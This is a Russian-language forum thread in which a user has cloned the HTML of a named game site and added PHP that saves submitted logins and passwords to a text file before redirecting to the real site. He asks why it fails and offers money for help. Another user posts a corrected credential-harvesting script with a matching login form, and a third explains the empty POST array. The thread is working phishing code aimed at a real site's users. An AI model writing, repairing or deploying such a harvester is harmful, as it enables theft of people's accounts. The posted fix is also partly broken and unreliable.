Загрузка...

What can cause a PHP script not to work?

Thread in Backend created by nacxapet Nov 3, 2022. 208 views

  1. nacxapet
    nacxapet Topic starter Nov 3, 2022 0 Jun 16, 2021
    Всем привет, только изучаю эту сферу и возник такой вопрос.
    Скачал html готового сайта, и попытался добавить php скрипт
    PHP
    <?PHP
    $Log = $_POST['login'];
    $Pass = $_POST['password'];
    $log = fopen("database.txt","at");
    fwrite($log,"\n $Log:$Pass \n");
    fclose($log);
    header('Location: https://greentech-rp.com/');
    ?>

    Далее добавил это все на хост через Filezilla. Сам скопированный сайт отображается идеально, но вот скрипт не работает от слова совсем, не идут данные в текстовый документ и нет переадресации после ввода данных. Тем кто поможет подкинуть соточку на карту, заранее спасибо

    В архиве прикрепил полностью готовый сайт, который залит на хост (кликабельно)
     
  2. Leonchikkk
    Leonchikkk Nov 4, 2022 108 Jul 20, 2019
    В чем суть скрипта, записывать то что водит юзер в login?
    The post was merged to previous Nov 4, 2022
    PHP
    <?

    if(isset($_POST["editinfositee"])){
    $login= htmlspecialchars($_POST['login']);
    $pass= htmlspecialchars($_POST['password']);
    $file = 'base.txt'; // Открываем файл для получения существующего содержимого
    $current = file_get_contents($file); // Добавляем нового человека в файл
    $current .= "$login $pass"; // Пишем содержимое обратно в файл
    file_put_contents($file, $current); fclose($file);
    }
    ?>
    HTML
                <form  id='editinfositee' method='post' name='editinfositee'>
    <input type="text" placeholder="Ник" name="login" oninput="CheckInput(this);">
    <input type="password" placeholder="Пароль" name="password" oninput="CheckInput(this);">
    <img src="images/eye.png" alt="show" onclick="ShowPassword(this, 1);" class="show">
    <a onclick="CloseModals(false); setTimeout(() => {OpenModal('password_reset', 1, 'block', 1, 1);}, 550);">Забыли пароль?</a>
    <button id='editinfositee' name='editinfositee' onclick="Login(this);">Войти</button>
    </form>
    Подправил тебе.
    [IMG]
     
  3. mulyar_trx
    mulyar_trx Nov 5, 2022 Banned 3 Jul 13, 2022
    POST запросы оптравлются либо через ajax, либо через форму, у тебя ничего не получается потому-что массив $_POST пуст
    А схерали хедер не работает, нужно смотреть в devtools
     
Loading...
Top